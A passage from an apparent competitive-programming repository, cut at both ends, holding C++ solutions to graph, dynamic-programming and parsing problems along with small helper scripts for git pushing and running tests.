auto start = chrono::high_resolution_clock::now();
while (getline(INPUT, s)) {
pair<long, vector<int>> newset(getset(s));
for (auto &set : sets) {
if (set.second.size() > newset.second.size()) {
if (contains<int>(set.second, newset.second)) set.first++;
}
else if (set.second.size() < newset.second.size()) {
if (contains<int>(newset.second, set.second)) newset.first++;
}
else if (set.second == newset.second) {
set.first++;
newset.first++;
}
}
sets.push_back(newset);
}
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
const auto p = minmax_element(sets.begin(), sets.end());
cout << p.second->first << endl;
//sort(sets.begin(), sets.end());
//for (int i = 1; i <= sets.size() && i <= 10; ++i) cout << sets[sets.size()-i].first << " ";
/*for (auto set : sets) {
for (auto ele : set.second) cout << ele << " ";
cout << "subsetnum: " << set.first << endl;
}*/
return 0;
}
pair<long, vector<int>> getset(string s) {
string num("");
vector<int> set;
for (auto c : s) {
if (!isdigit(c)) {
if (!num.empty()) {
int tmp = stoi(num);
auto it = find(set.begin(), set.end(), tmp);
if (it == set.end()) set.push_back(tmp);
num.clear();
}
}
else {
num += c;
}
}
sort(set.begin(), set.end());
return {0, set};
}
template <typename T>
bool contains(vector<T> A, vector<T> B) {
return includes(A.begin(), A.end(), B.begin(), B.end());
}
```
distance.py
```import matplotlib.pyplot as plt
c1 = plt.Circle((0, 0), 2, color='r')
fig, ax = plt.subplots()
ax.add_artist(c1)
plt.show()```
simplify_.cpp
```#include <iostream>
#include <string>
#include <vector>
#include <tuple>
#include <cstring>
#include <fstream>
#include <numeric>
#include <chrono>
//#include <boost/algorithm/string/join.hpp>
#define INPUT file
#define ADD -1
#define MUL -2
#define ADD_ '+'
#define MUL_ '*'
using namespace std;
bool contain_0or1(string);
string simplify_(string);
bool is_num(string);
struct Node {
short key;
vector<Node *> child;
};
class Parser {
public:
Node *ast = new Node;
~Parser() {
free_node(ast);
}
/* create new node from subtree */
Node* create_node(string subtree) {
Node* tmp = new Node;
parsing(subtree, tmp);
return tmp;
}
void sizeof_tree() {
cout << "size of ast: " << sizeof(ast) << endl;
}
void buill_ast(string to_parse) {
parsing(to_parse, ast);
}
void print_ast() {
printing(ast);
cout << endl;
}
void printing(Node* node) {
if (node->child.size() == 0) {
cout << node->key;
return;
}
if (node->key == ADD) cout << "+(";
else cout << "*(";
for (auto it = node->child.begin(); it+1 != node->child.end(); ++it) {
printing(*it);
cout << ","; //cout << "Result: ";
}
printing(node->child.back());
cout << ")";
}
/* build ast tree, return and/or value or direct value of number */
void parsing(string tree, Node* parent) {
if (is_num(tree)) {
parent->key = (long)stoi(tree);
}
switch (tree[0]) {
case '+': parent->key = ADD; break;
case '*': parent->key = MUL; break;
}
long lpn = 0, rpn = 0; // num of left/right parenthesis
string stree("");
for (unsigned int i = 1; i < tree.size(); ++i) {
if (tree[i] == '(') {
lpn++;
if (lpn-rpn != 1) stree += '(';
}
else if (tree[i] == ')') {
rpn++;
if (lpn-rpn <= 1) {
stree = lpn-rpn == 0? stree: stree + ')';
if (lpn-rpn == 0 && stree.empty()) break;
parent->child.push_back(create_node(stree));
stree.erase();
}
else stree += ')';
}
else if (tree[i] == ',' && (lpn-rpn == 1)) {
if (stree.empty()) continue;
parent->child.push_back(create_node(stree));
stree.erase();
}
else stree += tree[i];
}
}
void free_node(Node* node) {
/*while(node->child.size()) {
free_node(node->child[0]);
}*/
vector<int> idx_delete;
for (unsigned int i = 0; i < node->child.size(); ++i) idx_delete.push_back(i);
for (auto it = idx_delete.rbegin(); it != idx_delete.rend(); ++it) {
free_node(node->child[*it]);
node->child.erase(node->child.begin() + *it);
}
delete node;
return;
}
void free_child_by_index(Node* parent, vector<int> idx_delete) {
for (auto it = idx_delete.rbegin(); it != idx_delete.rend(); ++it) {
free_node(parent->child[*it]);
parent->child.erase(parent->child.begin() + *it);
}
}
void simplify() {
simp(ast);
}
void simp(Node* node) {
if (node->child.size() == 0) return;
for (auto it = node->child.begin(); it != node->child.end(); ++it)
simp(*it);
if (node->child.size() >= 2) {
unsigned int idx = 0;
vector<int> idx_delete;
for (; idx < node->child.size(); ++idx) {
if ((node->key == ADD && node->child[idx]->key == 1) || (node->key == MUL && node->child[idx]->key == 0)) {
node->key = node->child[idx]->key;
//while (node->child.size()) free_node(node->child[0]);
vector<int> idx_delete_;
for (unsigned int i = 0; i < node->child.size(); ++i) idx_delete_.push_back(i);
free_child_by_index(node, idx_delete_);
//node->child.clear();
break;
}
if ((node->key == ADD && node->child[idx]->key == 0) || (node->key == MUL && node->child[idx]->key == 1))
if (node->child.size()-idx_delete.size() > 2) // keep at least 2 children nodes
idx_delete.push_back(idx);
}
// remove 0/1 by idx_delete
free_child_by_index(node, idx_delete);
}
/* *or+(1or0, s) */
if (node->child.size() >= 2) {
int not0and1 = -1;
if ((node->key == ADD && node->child[0]->key == 0) || (node->key == MUL && node->child[0]->key == 1))
not0and1 = 1;
else if ((node->key == ADD && node->child[1]->key == 0) || (node->key == MUL && node->child[1]->key == 1))
not0and1 = 0;
if (not0and1 != -1) {
//while (node->child.size()) free_node(node->child[0]);
//for (auto it = node->child.rbegin(); it != node->child.rend(); ++it) free_node(*it);
//free_child(node);
node->key = node->child[not0and1]->key;
for (auto it = node->child[not0and1]->child.begin(); it != node->child[not0and1]->child.end(); ++it) {
node->child.push_back(*it);
}
vector<int> idx_delete = {0, 1};
free_child_by_index(node, idx_delete);
}
}
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}
};
int main() {
Parser myParser;
ifstream file("3.in");
string s;
getline(INPUT, s);
auto start = chrono::high_resolution_clock::now();
cout << simplify_(s) << endl;
//myParser.buill_ast(s);
//myParser.simplify();
//myParser.print_ast();
//myParser.sizeof_tree();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
bool contain_0or1(string s) {
for (unsigned int i = 1; i < s.size()-1; ++i) {
if ((s[i] == '0' || s[i] == '1') && !isdigit(s[i-1]) && !isdigit(s[i+1]))
return true;
}
return false;
}
/* return string removed first level of 1 and 0*/
string simplify_(string tree) {
//cout << "cur_tree:" << tree << endl;
if (is_num(tree)) {return tree;}
long lpn = 0, rpn = 0;
vector<string> strees;
string stree("");
for (auto c = tree.begin()+1; c != tree.end(); ++c) {
if (*c == '(') {
lpn++;
if (lpn-rpn != 1) stree += *c;
}
else if (*c == ')') {
rpn++;
if (lpn-rpn <= 1) {
stree = lpn-rpn == 0 ? stree : stree + ')';
if (lpn-rpn == 0 && stree.empty()) break;
string stree_simplified = simplify_(stree);
//cout << "stree_simplified: "<< stree_simplified << endl;
strees.push_back(stree_simplified);
stree.erase();
}
else stree += ')';
}
else if (*c == ',' && (lpn-rpn == 1)) {
if (stree.empty()) continue; // important!!! if having multiple subtree
string stree_simplified = simplify_(stree);
//cout << "stree_simplified: "<< stree_simplified << endl;
strees.push_back(stree_simplified);
stree.erase();
}
else stree += *c;
}
/*for (auto stree : strees) {
for (auto ele : stree) cout << ele;
cout << endl;
}*/
// tree[0] - andor
char andor = tree[0];
for (auto it = strees.begin(); it != strees.end();) {
if (is_num(*it)) {
if ((andor == MUL_ && *it == "0") || (andor == ADD_ && *it == "1")) {
//cout << "*0/+1:" <<(*it == "0" ? "0" : "1") << endl;
return *it == "0" ? "0" : "1";
}
else if (*it == "0" || *it == "1") {
it = strees.erase(it);
if (strees.size() == 1) {
//cout<< "res1: " <<strees[0] <<endl;
return strees[0];}
}
else ++it;
}
else ++it;
}
//cout << boost::algorithm::join(strees, ",") << endl;
string res = andor == MUL_ ? "*(" : "+(";
//cout << res << endl;
for (unsigned i = 0; i < strees.size()-1; ++i) res += strees[i] + ",";
res += strees[strees.size()-1] + ")";
//cout << "res2: " << res << endl;
return res;
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}
```
push.sh
```#!/bin/bash
git add $1
git commit -m "$2"
if [[ -z $3 ]]; then
BRANCH="master"
else
BRANCH=$3
fi
git checkout $BRANCH
git push origin $BRANCH```
inequalities.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
/*class Graph {
ll vtx;
vector<vector<ll>> adj;
public:
Graph(ll size) { vtx = size; adj.resize(size); }
void addEdge(ll u, ll v) { adj[u].emplace_back(v); }
};*/
// topological sort
void func() {
// no circle
ll n;
INPUT >> n;
map<string, ll> var;
map<ll, vector<ll>> adj;
map<ll, ll> in_degree;
ll V = 0; // number of vertex
for (ll i = 0, u, v; i < n; ++i) {
string a, islg, b;
INPUT >> a >> islg >> b;
if (var.count(a)) u = var[a];
else { u = V++; var.insert({a, u}); }
if (var.count(b)) v = var[b];
else { v = V++; var.insert({b, v}); }
if (islg == "<") swap(u, v);
if (adj.count(u)) adj[u].emplace_back(v);
else adj.insert({u, vector<ll>(1, v)});
if (!in_degree.count(u)) in_degree.insert({u, 0});
if (!in_degree.count(v)) in_degree.insert({v, 1});
else ++in_degree[v];
}
// topo sort
queue<ll> q;
for (ll i = 0; i < V; ++i)
if (in_degree[i] == 0) q.push(i);
ll cnt = 0; // count of visited vertex
vector<ll> topo_order;
while (!q.empty()) {
ll fr = q.front();
q.pop();
topo_order.emplace_back(fr);
for (auto &nb : adj[fr])
if (--in_degree[nb] == 0) q.push(nb);
cnt++;
}
// circle exits
if (cnt != V) { cout << "impossible\n"; return; }
else cout << "possible\n";
// swap key and value in var
map<ll, string> var_;
for (auto &p : var) var_.insert({p.second, p.first});
for (auto &elm : topo_order) cout << var_[elm] << " ";
cout << endl;
return;
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/* Test case:
3
a > b
b > c
a < c
3
theta > omega
omega > alpha
theta > alpha
*/```
runtest.sh
```#!/bin/bash
# We expect the tests to be in a directory structure
# .
# |- tests/
# |- 1.in
# |- 1.out
# |- 2.in
# |- 2.out
#
# in order to compare the .out files with the output generated from running ./a.out with the input from the .in files
#
for inputfile in tests/*.in; do
solfile=$( echo $inputfile | sed 's/in/out/')
echo -ne "$inputfile\t"
cat $inputfile | ./a.out | diff -Z "$solfile" - >> /dev/null
if [[ $? == 0 ]]; then
echo -e "passed"
else
echo -e "output differs"
fi
done
```
generate_tree_with_01.cpp
```#include <iostream>
#include <fstream>
#include <string>
#include <ctime>
#include <cstdlib>
#include <vector>
#include <boost/algorithm/string/join.hpp>
using namespace std;
int getrandom(int range);
string generate_stree(int i, int size);
int main() {
srand(time(nullptr));
string s = generate_stree(0, 4);
ofstream file("3.in");
file << s << endl;
file.close();
return 0;
}
int getrandom(int range) {
int tmp = range;
while (tmp >= range)
tmp = rand() / ((RAND_MAX + 1u) / range);
return tmp;
}
string generate_stree(int level, int size) {
int max_level = 28;
vector<string> stree;
string res;
if (size == 1) return to_string(getrandom(100));
else {
res = getrandom(2) == 1 ? "*(" : "+(";
if (level == max_level) {
for (unsigned int i = 0; i != size; ++i)
stree.push_back(to_string(getrandom(100)));
return res + boost::algorithm::join(stree, ",") + ")";
}
else {
for (unsigned int i = 0; i < size; ++i) {
int new_level = level + 1 + getrandom(2);
stree.push_back(generate_stree(min(new_level, max_level), 1+getrandom(4)));
}
return res + boost::algorithm::join(stree, ",") + ")";
}
}
}```
cake1.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
ll h, w, H, W;
h = random<ll>(1, 1E+5);
w = 15E+6 / h;
H = random<ll>(1, h);
W = random<ll>(1, w);
file << h << " " << w << endl;
for (ll i = 0; i < h; ++i) {
for (ll j = 0; j < w; ++j) file << random<int>(0, 2) << " ";
file << endl;
}
file << H << " " << W << endl;
}*/
void func() {
ios::sync_with_stdio(false);
ll h, w, H, W; // h, w~[1, 10E+5], hw~[1, 15*10E+6]
INPUT >> h >> w;
vector<vector<int>> hist(1, vector<int>(w, 1));
for (ll i = 0, tmp; i < w; ++i) {
INPUT >> tmp;
hist[0][i] -= tmp;
}
for (ll i = 1; i < h; ++i) {
vector<int> tmpv;
for (ll j = 0, tmp; j < w; ++j) {
INPUT >> tmp;
if (tmp) tmp = 0;
else tmp = hist[i-1][j] + 1;
tmpv.emplace_back(tmp);
}
hist.emplace_back(tmpv);
}
INPUT >> H >> W;
// must be sequential
for (ll i = 0; i < h; ++i) {
for (ll j = 0, len = 0; j < w; ++j) {
if (hist[i][j] < H) len = 0;
else ++len;
if (len == W) {
cout << i-H+2 << " " << j-W+2 << " "<< i+1 << " " << j+1 << endl;
return;
}
}
}
cout << "-1 -1 -1 -1\n";
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
test case:
5 4
1 0 0 1
1 1 0 0
1 0 0 0
1 0 0 0
1 1 1 1
3 2
*/```
helloworld.cpp
```#include <iostream>
#include <string>
#include <vector>
int main() {
unsigned int length;
std::cin >> length;
std::vector<std::string> names;
std::string name;
for (unsigned i = 0; i < length; ++i) {
std::cin >> name;
names.push_back(name);
}
for (std::vector<std::string>::iterator it = names.begin(); it != names.end(); ++it)
std::cout << "Hello " << *it << "!" << std::endl;
return 0;
}```
sample.cpp
```#include "ex03.hpp"
#include "functions.hpp"
using namespace std;
int main() {
long x;
for (unsigned int i = 0; i < 10; ++i) cout << random<long>(1, 100) << endl;
}```
driving.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
class Graph { // DAG
ll V, E; // V ~ [2, 1E+5]
vector<vector<ll>> adj;
vector<ll> degree, out; // out, in
public:
Graph(ll V, ll E) {
this->V = V;
this->E = E;
adj.resize(V);
degree.resize(V, 0);
out.resize(V, 0);
}
void addEdge(ll u, ll v) {
adj[u].emplace_back(v);
degree[u]++; out[u]++;
degree[v]--;
}
bool hasEulerPath() {
if (degree[0] == 1 && degree[V-1] == -1) {
for (ll i = 1; i < V-1; ++i) if (degree[i]) return false;
// add n -> 1
adj[V-1].emplace_back(0);
out[V-1]++;
//for (auto v : adj) { for (auto e : v) cout << e << " "; cout << endl; }
// Hierholz's Alg : find Euler circuit
stack<ll> cur_path;
vector<ll> circuit; // in reverse order
ll cur_v = 0;
cur_path.push(cur_v);
while (!cur_path.empty()) {
if (out[cur_v]) {
cur_path.push(cur_v);
ll nxt_v = adj[cur_v].back();
out[cur_v]--;
adj[cur_v].pop_back();
cur_v = nxt_v;
}
else {
circuit.emplace_back(cur_v);
// backtracking
cur_v = cur_path.top();
cur_path.pop();
}
}
//for (auto v : circuit) cout << v << " "; cout << endl;
if ((ll)circuit.size()-2 == E) return true;
else return false;
}
else return false;
}
};
void func() {
ll V, edg;
INPUT >> V >> edg;
Graph g(V, edg);
for (ll i = 0, u, v; i < edg; ++i) {
INPUT >> u >> v;
g.addEdge(u-1, v-1);
}
if (g.hasEulerPath()) cout << "POSSIBLE\n";
else cout << "IMPOSSIBLE\n";
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
3 3
1 2
2 1
1 3
3 3
1 2
2 1
2 3
4 4
1 2
2 1
3 4
4 3
2 5
1 2
2 1
1 2
2 1
1 2
*/```
cashier.cpp
```// remember to replace
#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
// change to cin
#define INPUT cin
typedef long long ll;
using namespace std;
// remember to comment
/*#include "../functions.hpp"
fstream file("test.in");
void generate_test(ll c, ll n) {
ofstream file("test.in");
file << c << " " << n << endl;
for (ll i = 0; i < n; ++i) file << random<ll>(1, 100000) << " ";
}
*/
int main() {
// to comment
//generate_test(100000, 500);
ll chg, len;
INPUT >> chg >> len;
vector<ll> cur;
for (ll i = 0, tmp; i < len; ++i) {
INPUT >> tmp;
if (tmp <= chg) cur.emplace_back(tmp);
}
if (chg == 0) { cout << "0\n"; return 0; }
len = (ll)cur.size();
sort(cur.begin(), cur.end());
//auto start = chrono::high_resolution_clock::now();
// c[i, j] = min{ c[i-1, j], c[i, j-cur[i-1]]+1 }
vector<vector<ll>> c(len+1, vector<ll> (chg+1, 0));
for (ll i = 0; i <= chg; ++i) c[0][i] = (ll)10e+6;
/*for (ll chgs = 1; chgs <= chg; ++chgs) {
for (ll coin = 1; coin <= len; ++coin) {
if (chgs < cur[coin-1]) c[coin][chgs] = c[coin-1][chgs];
else c[coin][chgs] = min(c[coin-1][chgs], c[coin][chgs-cur[coin-1]]+1);
}
}*/
// !remember the storage of 2d vector
for (ll coin = 1; coin <= len; ++coin) {
for (ll chgs = 1; chgs <= chg; ++chgs) {
if (chgs < cur[coin-1]) c[coin][chgs] = c[coin-1][chgs];
else c[coin][chgs] = min(c[coin-1][chgs], c[coin][chgs-cur[coin-1]]+1);
}
}
//auto stop = chrono::high_resolution_clock::now();
//auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
if (c[len][chg] == (ll)10e+6) cout << "impossible\n";
else cout << c[len][chg] << endl;
return 0;
}```
outoforder.cpp
```#include <iostream>
#include <vector>
#include <algorithm>
int main(){
using namespace std;
long long size;
cin >> size;
vector<long> stamp, pos;
for (unsigned int i = 0; i < size; ++i) {
long tmp;
cin >> tmp;
stamp.push_back(tmp);
}
vector<long> stamp_sorted(stamp);
sort(stamp_sorted.begin(), stamp_sorted.end());
for (unsigned int i = 0; i < size; ++i)
if (stamp[i] != stamp_sorted[i]) pos.push_back(i+1);
if (pos.size() == 2) cout << pos[0] << " " << pos[1] << endl;
else cout << "impossible" << endl;
return 0;
//int * stamp = new int[size];
//for (unsigned int i = 0; i < size; ++i) cin >> stamp[i];
// sorting
}```
heist.cpp
```// remember to replace
#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
// change to cin
#define INPUT cin
typedef long long ll;
using namespace std;
// start comment
/*#include "../functions.hpp"
fstream file("test.in");
void generate_test(ll n, ll m) {
ofstream file("test.in");
file << n << " " << m << endl;
for (ll i = 0; i < n; ++i) file << random<ll>(1, 32) << " ";
}*/
// end comment
template <class T>
void print_vector_(const std::vector<T>& v) {
for (T e : v) std::cout << e << " ";
std::cout << std::endl;
}
void function() {
ll day, zw; // day~[1, 300000] zw~[1, 10] haus~[0, 32]
INPUT >> day >> zw;
vector<ll> haus;
for (ll i = 0, tmp; i < day; ++i) {
INPUT >> tmp;
haus.emplace_back(tmp);
}
vector<ll> maxi, isin; // max; isin: larger than before or not
for (ll i = 0, in = 0, mx = 0; i < zw; ++i) {
if (haus[i] >= mx) { mx = haus[i]; in = 1; }
else in = 0;
isin.emplace_back(in);
maxi.emplace_back(mx);
}
// to comment
//for (auto &p : pr) { print_vector<ll>(p); }
// maxi[i] = max {maxi[i-1], maxi[i-zw]+haus[i]}
for (ll tg = zw; tg < day; ++tg) {
if (maxi[tg-1] > maxi[tg-zw] + haus[tg]) {
isin.emplace_back(0);
maxi.emplace_back(maxi[tg-1]);
}
else {
isin.emplace_back(1);
maxi.emplace_back(maxi[tg-zw] + haus[tg]);
}
}
vector<ll> res;
for (ll idx = day-1; idx >= 0;) {
if (isin[idx]) { res.emplace_back(idx+1); idx -= zw; }
else --idx;
}
reverse(res.begin(), res.end());
cout << maxi[day-1] << " " << res.size() << endl;
print_vector_<ll>(res);
}
int main() {
// to comment
//generate_test(300000, 10);
auto start = chrono::high_resolution_clock::now();
function();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}```
reelection.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
class UnionFind {
vector<ll> parent, rank;
public:
UnionFind(ll N) {
rank.assign(N, 0);
parent.resize(N);
for (ll i = 0; i < N; ++i) parent[i] = i;
}
ll findSet(ll i) {
if (parent[i] == i) return i;
else return parent[i] = findSet(parent[i]);
}
void unionSet(ll i, ll j) {
i = findSet(i), j = findSet(j);
if (i != j) {
if (rank[i] > rank[j]) parent[j] = i;
else {
parent[j] = i;
if (rank[i] == rank[j]) rank[j]++;
}
}
}
bool isSameSet(ll u, ll v) { return findSet(u) == findSet(v); }
};
void func() {
ll V, E;
INPUT >> V >> E;
auto UF = UnionFind(V);
//vector<tuple<ll, ll, ll>> edges;
multimap<ll, pair<ll, ll>, greater<ll>> edges;
for (ll i = 0, u ,v, w; i < E; ++i) {
INPUT >> u >> v >> w;
//edges.emplace_back(w, u, v);
edges.insert({w, {u-1, v-1}});
}
//sort(edges.begin(), edges.end(),
// [](const tuple<int, int, int>& a, const tuple<int, int, int>& b) { return get<0>(a) > get<0>(b); });
ll res = 0;
for (auto e : edges) {
ll u, v, w;
//tie(w, u, v) = e;
u = e.second.first, v = e.second.second, w = e.first;
if (w >= 0 || !UF.isSameSet(u, v)) {
res += w;
UF.unionSet(u, v);
}
}
cout << res << endl;
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
4 6
1 2 15
1 3 3
2 3 1
2 4 -1
3 4 -2
1 1 5
4 6
1 2 -4
1 3 -2
1 4 -3
2 4 -2
3 4 -5
2 4 -3
*/
```
bridges.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
class Graph {
ll V;
vector<vector<ll>> adj;
// parameters related to dfs
ll ctr = 0, bdg = 0;
const ll NIL = -1;
vector<ll> dfs_min, dfs_num, dfs_prt;
// dfs_num[v] : the timestamp at which v was explored
// dfs_min[v] : the minimum dfs_num reachable from v using
// the directed Tree Edges and at most one Back Edge
void dfs(ll u) {
dfs_min[u] = dfs_num[u] = ctr++;
for (auto v : adj[u]) {
if (dfs_num[v] == NIL) {
dfs_prt[v] = u;
dfs(v);
if (dfs_num[u] < dfs_min[v]) bdg++;
dfs_min[u] = min(dfs_min[u], dfs_min[v]);
}
else if (v != dfs_prt[u])
dfs_min[u] = min(dfs_min[u], dfs_num[v]);
}
}
public:
Graph(ll V) {
this->V = V;
adj.resize(V);
dfs_min.resize(V, NIL);
dfs_num.resize(V, NIL);
dfs_prt.resize(V, -1);
}
void addEdge(ll u, ll v) {
adj[u].emplace_back(v);
adj[v].emplace_back(u);
}
ll bridge() {
for (ll i = 0; i < V; ++i) {
if (dfs_num[i] == NIL) dfs(i);
}
return bdg;
}
};
void func() {
ll V, edg, bdg;
INPUT >> V >> edg;
Graph g(V);
for (ll i = 0, u, v; i < edg; ++i) {
INPUT >> u >> v;
g.addEdge(u-1, v-1);
}
cout << g.bridge() << endl;
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
5 5
1 2
2 3
2 4
3 4
4 5
4 4
1 2
2 3
3 4
4 1
4 3
1 2
2 3
3 4
*/```
coronatracking.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
ll n, m, s, d;
n = random<ll>(2, 1E+5);
m = random<ll>(1, 1E+6);
s = random<ll>(1, n);
d = random<ll>(1, n);
file << n << " " << m << " " << s << " " << d << endl;
for (ll i = 0, u, v; i < m; ++i) {
u = random<ll>(1, n);
v = random<ll>(1, n);
file << u << " " << v << endl;
}
}*/
// bfs
void func() {
ll nd, edg, inf, dst;
// โ n (2 โค n โค E+5 ), the number of nodes in the social graph
// โ m (1 โค m โค E+6 ), the number of edges in the social graph
// โ s (1 โค s โค n), the newly infected person
// โ d (1 โค d โค n), the distance we are interested in
INPUT >> nd >> edg >> inf >> dst;
//vector<ll> adj[nd];
//vector<ll> *adj = new vector<ll>[nd];
vector<vector<ll>> adj(nd);
vector<int> it(nd, 0);
++it[inf-1];
for (ll i = 0, u, v; i < edg; ++i) {
INPUT >> u >> v;
adj[u-1].emplace_back(v-1);
adj[v-1].emplace_back(u-1);
}
queue<pair<ll, ll>> q;
q.push({inf-1, dst});
while (!q.empty()) {
auto fr = q.front();
q.pop();
if (fr.second) {
for (auto &nb : adj[fr.first]) {
if (!it[nb]) {
q.push({nb, fr.second-1});
++it[nb];
}
}
}
}
ll res = 0;
for (auto &elm : it) if (elm) ++res;
cout << res << endl;
return;
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
test
6 5 2 3
2 4
4 3
3 1
1 5
4 6
5 10 5 1
1 2
1 3
1 4
1 5
2 3
2 4
2 5
3 4
3 5
4 5
9 10 4 3
1 2
2 3
1 7
2 4
3 4
4 7
7 8
9 7
7 6
5 6
*/
```
theanswer.cpp
```#include <iostream>
#include <vector>
#include <algorithm>
int main() {
using namespace std;
long long size;
vector<long long> nums, res;
cin >> size;
for (unsigned long long i = 0; i < size; ++i) {
long long n;
cin >> n;
nums.push_back(n);
}
sort(nums.begin(), nums.end());
for (unsigned long long i = 0, l, r; i <= size-3; ++i) {
l = i + 1;
r = size - 1;
while (l < r) {
long long sum = nums[i] + nums[l] + nums[r];
if (sum == 42) {
cout << nums[i] << " " << nums[l] << " " << nums[r] << endl;
return 0;
}
else if (sum > 42) r--;
else l++;
}
}
cout << "impossible\n";
return 0;
}```
simplify01.cpp
```#include <iostream>
#include <string>
#include <vector>
#include <tuple>
#include <cstring>
#include <fstream>
#include <numeric>
#include <chrono>
#define OR -1
#define AND -2
#define INPUT cin
using namespace std;
template<class T> inline void destroy(T*& p) { delete p; p = 0; }
struct Node {
int key;
bool isroot;
Node* lc;
Node* rc;
};
class Parser {
Node* ast;
public:
Parser() { ast = new Node; ast->isroot = true; }
~Parser() { delete_node(ast); }
void simplify(string s) {
parsing(ast, s);
}
